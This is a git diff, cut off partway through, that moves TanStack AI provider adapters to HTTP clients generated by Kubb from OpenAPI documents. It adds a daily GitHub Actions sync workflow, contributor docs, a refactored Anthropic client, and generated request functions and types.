diff --git a/.changeset/kubb-provider-clients.md b/.changeset/kubb-provider-clients.md new file mode 100644 index 0000000000..a03158cc73 --- /dev/null +++ b/.changeset/kubb-provider-clients.md @@ -0,0 +1,20 @@ +--- +'@tanstack/ai-utils': minor +'@tanstack/openai-base': minor +'@tanstack/ai-anthropic': patch +'@tanstack/ai-gemini': patch +'@tanstack/ai-mistral': patch +'@tanstack/ai-openrouter': patch +'@tanstack/ai-elevenlabs': patch +'@tanstack/ai-fal': patch +--- + +The provider clients now build their requests with a client that Kubb generates from the modelschemas OpenAPI document of each provider. Adapter options, results, errors, retries, and headers do not change. Calls that the documents do not describe (file uploads, job status, model lists) still use the hand-written code. `@tanstack/ai-utils` has a new `@tanstack/ai-utils/kubb` entry point with the shared runtime of the generated clients and `sendWith()`, which sends a generated request through a provider's own fetch code. + +`createElevenLabsClient()` takes an optional `fetch`, like the ElevenLabs SDK option of the same name. + +Each request body is now type-checked against the generated OpenAPI types. + +Breaking for `@tanstack/openai-base`: `OpenAIClientLike` takes the generated request body types, so an `OpenAI` or `AzureOpenAI` SDK instance no longer type-checks as the adapter client. Build the client with `createOpenAIClient({ apiKey, baseURL })` instead. `@tanstack/openai-base` also exports the generated body types for speech, transcription, embeddings, image generation, image edit and video. + +`@tanstack/ai-mistral` sends a `json_schema` response format in snake_case on the streaming path, as the API expects. `@tanstack/ai-elevenlabs` sends a string `entityDetection` or `entityRedaction` value in transcription requests, where before it dropped it. diff --git a/.github/workflows/sync-provider-clients.yml b/.github/workflows/sync-provider-clients.yml new file mode 100644 index 0000000000..487c40a56d --- /dev/null +++ b/.github/workflows/sync-provider-clients.yml @@ -0,0 +1,102 @@ +name: Sync Provider Clients + +# Refetches the modelschemas OpenAPI documents and checks the generated +# provider clients (scripts/provider-clients). When a document changed, it +# regenerates the clients and opens a PR. Separate from Sync Model Metadata. + +on: + schedule: + - cron: '30 6 * * *' + workflow_dispatch: + +concurrency: + group: ${{ github.workflow }}-${{ github.ref }} + cancel-in-progress: true + +permissions: + contents: write + pull-requests: write + issues: write # failure alert issue + +jobs: + sync: + name: Sync Provider Clients + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + fetch-depth: 0 + persist-credentials: true # sync job pushes regenerated clients + + - name: Setup Tools + uses: TanStack/config/.github/setup@190f659075ff0845850e330883eb26d7ffd0671f # main + + - name: Check provider clients + id: check + continue-on-error: true + run: pnpm generate:provider-clients:check + + - name: Regenerate provider clients + if: steps.check.outcome == 'failure' + run: pnpm generate:provider-clients + + - name: Check for package changes + id: changes + run: | + if git diff --quiet -- packages/; then + echo "changed=false" >> $GITHUB_OUTPUT + else + echo "changed=true" >> $GITHUB_OUTPUT + fi + + - name: Commit and force-push + if: steps.changes.outputs.changed == 'true' + run: | + git config user.name "github-actions[bot]" + git config user.email "github-actions[bot]@users.noreply.github.com" + git add packages/ + git commit -m "chore: sync provider clients" + # GITHUB_TOKEN pushes do not start the PR Test / E2E workflows. + # After this job, a maintainer must run those checks from the + # Actions tab or push an empty commit to automated/sync-provider-clients. + git push --force origin HEAD:automated/sync-provider-clients + + - name: Create PR + if: steps.changes.outputs.changed == 'true' + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + shell: bash + run: | + BRANCH="automated/sync-provider-clients" + EXISTING_PR=$(gh pr list --head "$BRANCH" --base main --json number --jq '.[0].number' 2>/dev/null || true) + if [ -z "$EXISTING_PR" ] || [ "$EXISTING_PR" = "null" ]; then + gh pr create \ + --title "chore: sync provider clients" \ + --body "Automated regeneration of the provider HTTP clients from the modelschemas OpenAPI documents (\`pnpm generate:provider-clients\`). Review the generated diff, then update the adapters if an operation they call changed." \ + --base main \ + --head "$BRANCH" + fi + + - name: Open or update failure issue + if: failure() + env: + GH_TOKEN: ${{ secrets.GITHUB_TOKEN }} + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + shell: bash + run: | + gh label create sync-provider-clients --color B60205 --description "Daily provider client sync failures" --force + BODY=$(printf '%s\n' \ + "Sync Provider Clients failed on $(date -u +%F)." \ + "" \ + "Run: $RUN_URL" \ + "" \ + "Close this issue when the sync is green again.") + ISSUE=$(gh issue list --label sync-provider-clients --state open --json number --jq '.[0].number // empty') + if [ -n "$ISSUE" ]; then + gh issue comment "$ISSUE" --body "$BODY" + else + gh issue create --label sync-provider-clients \ + --title "Daily provider client sync is failing" \ + --body "$BODY" + fi diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 92f6c0a316..5a3877f9ae 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -73,6 +73,22 @@ Do not rebase or hand-edit `automated/sync-models`. The next scheduled run force The workflow pushes with `GITHUB_TOKEN`, so GitHub does not start Test / E2E on that push. After a sync, a maintainer with write access can run the PR checks from the Actions tab, or push an empty commit to `automated/sync-models`. +## Syncing provider clients + +The provider HTTP clients are generated. [Kubb](https://kubb.dev) reads the OpenAPI document that [modelschemas](https://modelschemas.com) publishes for each provider (`GET /v1/openapi/{provider}`). Do not edit the generated files by hand. + +| Goal | Command | +| ---------------------------------------- | -------------------------------------- | +| Regenerate the clients | `pnpm generate:provider-clients` | +| Fail when a live document changes output | `pnpm generate:provider-clients:check` | + +- `scripts/provider-clients/providers.ts` lists the providers and the package of each one. A package that speaks another provider's API (Groq, Grok, Azure, and the gateways use the OpenAI API) uses that provider's client. It does not get its own copy. +- Each client is written to `src/generated/client/` in its package (`sdk.ts` and `types.ts`). All clients share one runtime from `@tanstack/ai-utils/kubb`. +- A provider is skipped when modelschemas has no document for it (`missing_connect`, `no_endpoints`, `unknown_provider`). Its committed client does not change. +- The generated functions build the path and the body. The hand-written code in each package's `src/client/` still does auth, retries, errors, SSE parsing, and audio bytes. It also sends the calls that the documents do not describe, such as file uploads and job status. + +The daily **Sync Provider Clients** workflow runs the check. When a document changed, it regenerates the clients and opens a PR from `automated/sync-provider-clients`. Review the diff, then update the adapters if an operation that they call changed. + ## Day-to-day commands All commands are run from the repo root. Nx handles affected detection and caching. diff --git a/docs/advanced/extend-adapter-advanced.md b/docs/advanced/extend-adapter-advanced.md index 8cc3a208df..486d2c005a 100644 --- a/docs/advanced/extend-adapter-advanced.md +++ b/docs/advanced/extend-adapter-advanced.md @@ -65,9 +65,11 @@ Your adapter talks to a thinking model. You want `chat({ reasoning: 'high' })` t On an adapter that extends `@tanstack/openai-base`, that is all. The base sends `reasoning_effort` on Chat Completions, or `reasoning: { effort, summary }` on Responses: ```typescript -import OpenAI from 'openai' import { chat } from '@tanstack/ai' -import { OpenAIBaseChatCompletionsTextAdapter } from '@tanstack/openai-base' +import { + OpenAIBaseChatCompletionsTextAdapter, + createOpenAIClient, +} from '@tanstack/openai-base' import type { DefaultMessageMetadataByModality, Modality, @@ -117,7 +119,7 @@ class MyTextAdapter extends OpenAIBaseChatCompletionsTex const adapter = new MyTextAdapter( 'my-model', 'my-provider', - new OpenAI({ apiKey: 'my-key', baseURL: 'https://api.example.com/v1' }), + createOpenAIClient({ apiKey: 'my-key', baseURL: 'https://api.example.com/v1' }), ) chat({ adapter, messages: [{ role: 'user', content: 'Hi' }], reasoning: 'high', threadId: 'thread-1' }) diff --git a/knip.json b/knip.json index 35d03df499..91213fe2d6 100644 --- a/knip.json +++ b/knip.json @@ -3,7 +3,10 @@ "ignoreDependencies": [ "@faker-js/faker", "@aws-sdk/client-bedrock", - "@typescript/typescript6" + "@typescript/typescript6", + "@kubb/plugin-client", + "@kubb/plugin-fetch", + "@kubb/plugin-ts" ], "ignoreBinaries": ["taskkill", "ps"], "ignoreWorkspaces": [ @@ -25,7 +28,10 @@ "packages/ai-openai/src/audio/audio-provider-options.ts", "packages/ai-devtools/src/production.ts", "codemods/**/__testfixtures__/**", - "packages/ai-persistence/skills-test/stubs/**" + "packages/ai-persistence/skills-test/stubs/**", + "packages/*/src/generated/client/sdk.ts", + "packages/*/src/generated/client/types.ts", + "packages/ai-utils/src/generated/kubb/**" ], "ignoreExportsUsedInFile": true, "workspaces": { diff --git a/package.json b/package.json index 1d16c41d62..4f59798521 100644 --- a/package.json +++ b/package.json @@ -27,7 +27,7 @@ "test:knip": "knip", "test:docs": "tsx scripts/verify-links.ts", "test:dts": "node scripts/scan-dangling-dts.mjs", - "test:maintainer": "vitest run --root scripts/maintainer && vitest run scripts/model-sync scripts/publish-staged-docs.test.ts && vitest run scripts/coverage-check.test.ts scripts/print-failed-nx-logs.test.ts", + "test:maintainer": "vitest run --root scripts/maintainer && vitest run scripts/model-sync scripts/provider-clients scripts/publish-staged-docs.test.ts && vitest run scripts/coverage-check.test.ts scripts/print-failed-nx-logs.test.ts", "test:ai-review": "vitest run --root agent-scripts/ai-review", "ai-review": "node agent-scripts/ai-review/run.ts", "maintainer:sweep": "node scripts/maintainer/sweep.ts", @@ -45,6 +45,8 @@ "dev:chat": "pnpm --filter ts-react-chat dev", "format": "oxfmt .", "generate-docs": "node scripts/generate-docs.ts && pnpm run copy:readme", + "generate:provider-clients": "node scripts/provider-clients/generate.ts", + "generate:provider-clients:check": "node scripts/provider-clients/generate.ts --check", "generate:fal-image-fields": "tsx scripts/generate-fal-image-field-map.ts", "generate:models": "pnpm generate:models:fetch && pnpm regenerate:models && tsx scripts/sync-elevenlabs-models.ts && tsx scripts/sync-provider-models.ts && pnpm format", "generate:models:elevenlabs": "tsx scripts/sync-elevenlabs-models.ts", @@ -72,6 +74,9 @@ "@changesets/changelog-github": "^1.0.1", "@changesets/cli": "^2.30.0", "@faker-js/faker": "^10.1.0", + "@kubb/plugin-client": "^5.10.0", + "@kubb/plugin-fetch": "^5.13.0", + "@kubb/plugin-ts": "^5.4.1", "@stylistic/eslint-plugin": "^5.10.0", "@tanstack/ai": "workspace:*", "@tanstack/ai-grok-build": "workspace:*", @@ -85,6 +90,7 @@ "happy-dom": "^20.11.2", "kiira": "0.6.0", "knip": "^6.26.0", + "kubb": "^5.16.1", "markdown-link-extractor": "^4.0.3", "nx": "23.1.1", "oxfmt": "^0.59.0", diff --git a/packages/ai-anthropic/src/adapters/text.ts b/packages/ai-anthropic/src/adapters/text.ts index e06a9ac7b8..b808caac13 100644 --- a/packages/ai-anthropic/src/adapters/text.ts +++ b/packages/ai-anthropic/src/adapters/text.ts @@ -115,7 +115,8 @@ import type { AnthropicMessagesClient, } from '../utils/client' import type { ComputerUseSingleToolConfig } from '../tools/computer-use-tool' -import type { AnthropicClient } from '../client/index' +import type { AnthropicClient, MessageCreateParams } from '../client/index' +import type { AnthropicPostV1MessagesBetaTrueBody } from '../generated/client/types' /** * The block type carried by an Anthropic provider-executed (server) tool's @@ -222,6 +223,34 @@ function toAnthropicToolChoice( return { type: 'tool' as const, name: choice.name } } +/** + * The request as the generated Messages body. Each marked field is where the + * SDK-typed request and the generated document differ. + */ +function messagesBody({ + messages, + tools, + temperature, + top_k, + top_p, + ...rest +}: InternalTextProviderOptions): AnthropicPostV1MessagesBetaTrueBody { + const sampling: Partial = { + // @ts-expect-error modelschemas gap: the Messages body has no temperature, top_k or top_p + temperature, + top_k, + top_p, + } + return { + ...rest, + ...sampling, + // @ts-expect-error public type mismatch: BetaMessageParam vs BetaInputMessageUnion, messages + messages, + // @ts-expect-error public type mismatch: BetaTool vs BetaToolUnion, tools + tools, + } +} + /** Models already warned that `chat({ reasoning })` does nothing for them. */ const modelsWarnedWithoutReasoning = new Set() @@ -330,7 +359,7 @@ export function computeAnthropicBetas( modelOptions: | { thinking?: { - type?: 'enabled' | 'disabled' | 'adaptive' + type?: string budget_tokens?: number } context_management?: unknown | null @@ -503,22 +532,39 @@ type ResolveToolCapabilities = ? NonNullable : readonly [] -type SdkAnthropicMessagesClient = { +type CreateOptions = Parameters< + AnthropicClient['beta']['messages']['create'] +>[1] + +/** The client's `create`, typed against the generated request body. */ +type AnthropicMessagesCreateClient = { beta: { - messages: Pick + messages: { + create: { + ( + params: MessageCreateParams & { stream: true }, + options?: CreateOptions, + ): Promise> + ( + params: MessageCreateParams & { stream?: false }, + options?: CreateOptions, + ): Promise + } + } } } /** - * Restore the package SDK's precise overloads at the adapter boundary. - * Alternative clients may use a separate Anthropic 0.x SDK whose declarations - * drift while implementing the same Messages protocol at runtime. + * Restore the stream and non-stream overloads at the adapter boundary. The + * public client type erases them, because alternative clients may use a + * separate Anthropic 0.x SDK whose declarations drift while implementing the + * same Messages protocol at runtime. */ function asSdkAnthropicMessagesClient( - client: AnthropicMessagesClient, -): SdkAnthropicMessagesClient { - // oxlint-disable-next-line eslint-js/no-restricted-syntax -- The public callable deliberately erases version-specific SDK overloads; restore this package's SDK type at the internal boundary. - return client as unknown as SdkAnthropicMessagesClient + client: AnthropicMessagesClient | AnthropicClient, +): AnthropicMessagesCreateClient { + // oxlint-disable-next-line eslint-js/no-restricted-syntax -- The public callable deliberately erases the overloads; restore them at the internal boundary. + return client as unknown as AnthropicMessagesCreateClient } // =========================== @@ -564,7 +610,7 @@ export class AnthropicTextAdapter< | MidConversationChannels | undefined = undefined - private readonly client: SdkAnthropicMessagesClient + private readonly client: AnthropicMessagesCreateClient private readonly allowEmptySignature: boolean /** * With `auth: 'oauth'`: add the Claude Code identity system block, the CLI @@ -1157,7 +1203,9 @@ export class AnthropicTextAdapter< // Last step: the merged messages decide which message is last. return { ...toolChoiceField, - ...applyAnthropicPromptCache(requestParams, options.promptCache), + ...messagesBody( + applyAnthropicPromptCache(requestParams, options.promptCache), + ), } } diff --git a/packages/ai-anthropic/src/client/index.ts b/packages/ai-anthropic/src/client/index.ts index 0e8ef69f4c..d9593af517 100644 --- a/packages/ai-anthropic/src/client/index.ts +++ b/packages/ai-anthropic/src/client/index.ts @@ -11,6 +11,8 @@ import { parseSSE, toFormData, } from '@tanstack/ai-utils/http' +import { sendWith } from '@tanstack/ai-utils/kubb' +import { anthropicPostV1MessagesBetaTrue } from '../generated/client/sdk' import type Anthropic from '@anthropic-ai/sdk' import type { ClientOptions } from '@anthropic-ai/sdk' import type { ErrorType } from '@anthropic-ai/sdk/resources/shared' @@ -19,6 +21,7 @@ import type { BetaRawMessageStreamEvent, MessageCreateParamsBase, } from '@anthropic-ai/sdk/resources/beta/messages/messages' +import type { AnthropicPostV1MessagesBetaTrueBody } from '../generated/client/types' import type { HeadersLike, HttpRequest } from '@tanstack/ai-utils/http' import type { BetaDeletedFile, @@ -33,6 +36,13 @@ type RequestOptions = NonNullable< Parameters[1] > +/** + * A Messages request: the generated body, plus the SDK fields that go out as + * headers. + */ +export type MessageCreateParams = AnthropicPostV1MessagesBetaTrueBody & + BetaParams + /** * The part of the Anthropic SDK client that this package calls. Both the * fetch client and the lazy SDK client fit it. @@ -42,7 +52,7 @@ export interface AnthropicClient { readonly messages: { /** `stream: true` gives the raw stream events, else the message. */ create: ( - params: MessageCreateParamsBase, + params: MessageCreateParams, options?: RequestOptions, ) => Promise | BetaMessage> } @@ -277,7 +287,7 @@ function assertAuth(sources: Array) { } /** The SDK `transformOutputFormat`: `output_format` moves to `output_config.format`. */ -function transformOutputFormat(params: MessageCreateParamsBase) { +function transformOutputFormat(params: MessageCreateParams) { if (!params.output_format) return params if (params.output_config?.format) { throw new AnthropicError( @@ -307,7 +317,7 @@ function nonStreamingTimeout(maxTokens: number, model: string) { return DEFAULT_TIMEOUT } -function warnDeprecatedModel(params: MessageCreateParamsBase) { +function warnDeprecatedModel(params: MessageCreateParams) { const endOfLife = DEPRECATED_MODELS[params.model] if (endOfLife) { console.warn( @@ -331,8 +341,13 @@ function createSdkClient(load: () => Promise): AnthropicClient { return { beta: { messages: { + // The same JSON body: only the declared types differ (the generated + // document against the SDK's own param types). create: async (params, options) => - (await sdk()).beta.messages.create(params, options), + (await sdk()).beta.messages.create( + params as MessageCreateParamsBase, + options, + ), }, files: { upload: async (params, options) => @@ -398,13 +413,19 @@ function createFetchClient(options: ClientOptions): AnthropicClient { makeAbortError: () => new APIUserAbortError(), }) - /** Sends one beta call. `request.timeout` wins over the call options. */ + /** + * Sends one beta call. `request.timeout` wins over the call options. + * `bodyHeaders` (the content type of a generated body) come first, so every + * other header wins over them, like the JSON content type before. + */ const send = ( request: Omit, params: BetaParams, requestOptions: RequestOptions = {}, + bodyHeaders?: Record, ) => { const headers = [ + bodyHeaders, ...clientHeaders, betaHeaders(params), requestOptions.headers, @@ -436,11 +457,25 @@ function createFetchClient(options: ClientOptions): AnthropicClient { options.timeout ?? (body.stream ? DEFAULT_TIMEOUT : undefined) ?? nonStreamingTimeout(body.max_tokens, body.model) - const response = await send( - { method: 'post', path: '/v1/messages?beta=true', body, timeout }, - transformed, - requestOptions, - ) + // The generated operation builds the path and the body; `send` + // adds the client headers, retries, and errors. + const { response } = await anthropicPostV1MessagesBetaTrue({ + client: sendWith((built) => + send( + { + method: 'post', + path: built.path, + body: built.body, + timeout, + }, + transformed, + requestOptions, + built.headers, + ), + ), + body, + headers: { 'anthropic-version': '2023-06-01' }, + }) if (body.stream) { return messageEvents(response, requestOptions?.signal) } diff --git a/packages/ai-anthropic/src/generated/client/sdk.ts b/packages/ai-anthropic/src/generated/client/sdk.ts new file mode 100644 index 0000000000..f43535c8d6 --- /dev/null +++ b/packages/ai-anthropic/src/generated/client/sdk.ts @@ -0,0 +1,141 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +import type { + AnthropicPostV1CompleteOptions, + AnthropicPostV1CompleteResponses, + AnthropicPostV1MessagesBetaTrueOptions, + AnthropicPostV1MessagesBetaTrueResponses, + AnthropicPostV1MessagesCountTokensBetaTrueOptions, + AnthropicPostV1MessagesCountTokensBetaTrueResponses, + AnthropicPostV1MessagesCountTokensOptions, + AnthropicPostV1MessagesCountTokensResponses, + AnthropicPostV1MessagesOptions, + AnthropicPostV1MessagesResponses, +} from './types' +import type { Options, RequestResult } from '@tanstack/ai-utils/kubb' +import { client } from '@tanstack/ai-utils/kubb' + +/** + * @summary Create a Text Completion + * {@link /v1/complete} + */ +export function anthropicPostV1Complete( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/complete', + security: [{ type: 'apiKey', name: 'x-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Create a Message + * {@link /v1/messages} + */ +export function anthropicPostV1Messages( + options: Options, +): Promise> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/messages', + security: [{ type: 'apiKey', name: 'x-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise> +} + +/** + * @summary Count tokens in a Message + * {@link /v1/messages/count_tokens} + */ +export function anthropicPostV1MessagesCountTokens< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/messages/count_tokens', + security: [{ type: 'apiKey', name: 'x-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} + +/** + * @summary Count tokens in a Message + * {@link /v1/messages/count_tokens?beta=true} + */ +export function anthropicPostV1MessagesCountTokensBetaTrue< + ThrowOnError extends boolean = true, +>( + options: Options< + AnthropicPostV1MessagesCountTokensBetaTrueOptions, + ThrowOnError + >, +): Promise< + RequestResult< + AnthropicPostV1MessagesCountTokensBetaTrueResponses, + ThrowOnError + > +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/messages/count_tokens?beta=true', + security: [{ type: 'apiKey', name: 'x-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult< + AnthropicPostV1MessagesCountTokensBetaTrueResponses, + ThrowOnError + > + > +} + +/** + * @summary Create a Message + * {@link /v1/messages?beta=true} + */ +export function anthropicPostV1MessagesBetaTrue< + ThrowOnError extends boolean = true, +>( + options: Options, +): Promise< + RequestResult +> { + const { client: request = client, ...config } = options + + return request({ + method: 'POST', + url: '/v1/messages?beta=true', + security: [{ type: 'apiKey', name: 'x-api-key', in: 'header' }], + contentType: { request: 'application/json' }, + ...config, + throwOnError: config.throwOnError ?? true, + }) as Promise< + RequestResult + > +} diff --git a/packages/ai-anthropic/src/generated/client/types.ts b/packages/ai-anthropic/src/generated/client/types.ts new file mode 100644 index 0000000000..a07fbeed09 --- /dev/null +++ b/packages/ai-anthropic/src/generated/client/types.ts @@ -0,0 +1,13674 @@ +/** + * Generated by Kubb (https://kubb.dev/). + * Do not edit manually. + */ + +export type Metadata = { + /** + * @description An external identifier for the user who is associated with the request. + * + * This should be a uuid, hash value, or other opaque identifier. Anthropic may use this id to help detect abuse. Do not include any identifying information such as name, email address, or phone number. + * @example 13803d75-b4b5-4c3e-b2a2-6f21399b021b + */ + user_id?: string | null +} + +/** + * @description The model that will complete your prompt. + * + * See [models](https://docs.anthropic.com/en/docs/models-overview) for additional details and options. + */ +export type Model = + | 'claude-haiku-5-5' + | 'claude-sonnet-5-5' + | 'claude-fable-5-1' + | 'claude-opus-5-5' + | 'claude-mythos-5-1' + | 'claude-sonnet-5' + | 'claude-fable-5' + | 'claude-mythos-5' + | 'claude-opus-5' + | 'claude-opus-4-8' + | 'claude-opus-4-7' + | 'claude-mythos-preview' + | 'claude-opus-4-6' + | 'claude-sonnet-4-6' + | 'claude-haiku-4-5' + | 'claude-haiku-4-5-20251001' + | 'claude-opus-4-5' + | 'claude-opus-4-5-20251101' + | 'claude-sonnet-4-5' + | 'claude-sonnet-4-5-20250929' + | (string & {}) + +export const allowedCaller = { + direct: 'direct', + code_execution_20250825: 'code_execution_20250825', + code_execution_20260120: 'code_execution_20260120', + code_execution_20260521: 'code_execution_20260521', +} as const + +export type AllowedCallerKey = + (typeof allowedCaller)[keyof typeof allowedCaller] + +export const cacheControlEphemeralTtlEnum = { + '5m': '5m', + '1h': '1h', +} as const + +export type CacheControlEphemeralTtlEnumKey = + (typeof cacheControlEphemeralTtlEnum)[keyof typeof cacheControlEphemeralTtlEnum] + +export type CacheControlEphemeral = { + /** + * @description The time-to-live for the cache control breakpoint. + * + * This may be one the following values: + * - `5m`: 5 minutes + * - `1h`: 1 hour + * + * Defaults to `5m`. See [prompt caching pricing](https://platform.claude.com/docs/en/build-with-claude/prompt-caching) for details. + * @type string | undefined + */ + ttl?: CacheControlEphemeralTtlEnumKey + type: 'ephemeral' +} + +export type RequestCharLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + document_title: string | null + end_char_index: number + /** + * @minimum 0 + * @type integer + */ + start_char_index: number + type: 'char_location' +} + +export type RequestPageLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + document_title: string | null + end_page_number: number + /** + * @minimum 1 + * @type integer + */ + start_page_number: number + type: 'page_location' +} + +export type RequestContentBlockLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @minimum 0 + * @type integer + */ + document_index: number + document_title: string | null + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + type: 'content_block_location' +} + +export type RequestWebSearchResultLocationCitation = { + /** + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + encrypted_index: string + title: string | null + type: 'web_search_result_location' + /** + * @minLength 1 + * @type string + */ + url: string +} + +export type RequestSearchResultLocationCitation = { + /** + * @description The full text of the cited block range, concatenated. + * + * Always equals the contents of `content[start_block_index:end_block_index]` joined together. The text block is the minimal citable unit; this field is never a substring of a single block. Not counted toward output tokens, and not counted toward input tokens when sent back in subsequent turns. + * @example The grass is green. The sky is blue. + * @type string + */ + cited_text: string + /** + * @description Exclusive 0-based end index of the cited block range in the source's `content` array. + * + * Always greater than `start_block_index`; a single-block citation has `end_block_index = start_block_index + 1`. + * @type integer + */ + end_block_index: number + /** + * @description 0-based index of the cited search result among all `search_result` content blocks in the request, in the order they appear across messages and tool results. + * + * Counted separately from `document_index`; server-side web search results are not included in this count. + * @minimum 0 + * @type integer + */ + search_result_index: number + source: string + /** + * @description 0-based index of the first cited block in the source's `content` array. + * @minimum 0 + * @type integer + */ + start_block_index: number + title: string | null + type: 'search_result_location' +} + +export type RequestTextBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + citations?: + | ( + | (RequestCharLocationCitation & { + type: 'char_location' + }) + | (RequestPageLocationCitation & { + type: 'page_location' + }) + | (RequestContentBlockLocationCitation & { + type: 'content_block_location' + }) + | (RequestWebSearchResultLocationCitation & { + type: 'web_search_result_location' + }) + | (RequestSearchResultLocationCitation & { + type: 'search_result_location' + }) + )[] + | null + /** + * @minLength 1 + * @type string + */ + text: string + type: 'text' +} + +export const base64ImageSourceMediaTypeEnum = { + 'image/jpeg': 'image/jpeg', + 'image/png': 'image/png', + 'image/gif': 'image/gif', + 'image/webp': 'image/webp', +} as const + +export type Base64ImageSourceMediaTypeEnumKey = + (typeof base64ImageSourceMediaTypeEnum)[keyof typeof base64ImageSourceMediaTypeEnum] + +export type Base64ImageSource = { + data: string + media_type: Base64ImageSourceMediaTypeEnumKey + type: 'base64' +} + +export type URLImageSource = { + type: 'url' + url: string +} + +export type FileImageSource = { + file_id: string + type: 'file' +} + +export const requestImageTransformationsOversizedImageEnum = { + downsize: 'downsize', + error: 'error', +} as const + +export type RequestImageTransformationsOversizedImageEnumKey = + (typeof requestImageTransformationsOversizedImageEnum)[keyof typeof requestImageTransformationsOversizedImageEnum] + +/** + * @description Configures the transformations the server applies to this image before the model observes it. Each key names a condition the server transforms images for; its value selects the transformation applied. Omitted keys keep their default behavior, and an empty object is equivalent to omitting the field. + * @type object + */ +export type RequestImageTransformations = { + /** + * @description What the server does when this image exceeds the model's maximum image size. `"downsize"` (the default) scales the image down to fit, which changes the dimensions the model observes without telling you. `"error"` instead rejects the request with a 400 error naming the image's dimensions and the largest dimensions that fit, so you can scale the image deliberately — your image is never silently scaled down. + * @type string | undefined + */ + oversized_image?: RequestImageTransformationsOversizedImageEnumKey +} + +export type RequestImageBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + source: + | (Base64ImageSource & { + type: 'base64' + }) + | (URLImageSource & { + type: 'url' + }) + | (FileImageSource & { + type: 'file' + }) + /** + * @description Configures the transformations the server applies to this image before the model observes it. Each key names a condition the server transforms images for; its value selects the transformation applied. Omitted keys keep their default behavior, and an empty object is equivalent to omitting the field. + */ + transformations?: RequestImageTransformations | null + type: 'image' +} + +export type RequestCitationsConfig = { + enabled?: boolean +} + +export type Base64PDFSource = { + data: string + media_type: 'application/pdf' + type: 'base64' +} + +export type PlainTextSource = { + data: string + media_type: 'text/plain' + type: 'text' +} + +export type ContentBlockSource = { + content: + | string + | ( + | (RequestTextBlock & { + type: 'text' + }) + | (RequestImageBlock & { + type: 'image' + }) + )[] + type: 'content' +} + +export type URLPDFSource = { + type: 'url' + url: string +} + +export type FileDocumentSource = { + file_id: string + type: 'file' +} + +export type RequestDocumentBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + citations?: RequestCitationsConfig | null + context?: string | null + source: + | (Base64PDFSource & { + type: 'base64' + }) + | (PlainTextSource & { + type: 'text' + }) + | (ContentBlockSource & { + type: 'content' + }) + | (URLPDFSource & { + type: 'url' + }) + | (FileDocumentSource & { + type: 'file' + }) + title?: string | null + type: 'document' +} + +export type RequestSearchResultBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + citations?: RequestCitationsConfig + content: RequestTextBlock[] + source: string + title: string + type: 'search_result' +} + +export type RequestThinkingBlock = { + /** + * @description The `signature` value of this thinking block, exactly as returned by the API in a previous response. Used to verify that the block was generated by Claude. + * + * Thinking blocks must be passed back unmodified and in their original order; a modified block results in a 400 `invalid_request_error`. + * @type string + */ + signature: string + /** + * @description The `thinking` text of this block as returned by the API. + * @type string + */ + thinking: string + type: 'thinking' +} + +export type RequestRedactedThinkingBlock = { + /** + * @description The `data` value of this redacted thinking block, exactly as returned by the API in a previous response. Opaque and encrypted; pass it back unchanged. + * @type string + */ + data: string + type: 'redacted_thinking' +} + +/** + * @description Tool invocation directly from the model. + * @type object + */ +export type DirectCaller = { + type: 'direct' +} + +/** + * @description Tool invocation generated by a server-side tool. + * @type object + */ +export type ServerToolCaller = { + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_id: string + type: 'code_execution_20250825' +} + +export type ServerToolCaller20260120 = { + /** + * @pattern ^srvtoolu_[a-zA-Z0-9_]+$ + * @type string + */ + tool_id: string + type: 'code_execution_20260120' +} + +export type RequestToolUseBlock = { + /** + * @description Create a cache control breakpoint at this content block. + */ + cache_control?: + | (CacheControlEphemeral & { + type: 'ephemeral' + }) + | null + caller?: + | (DirectCaller & { + type: 'direct' + }) + | 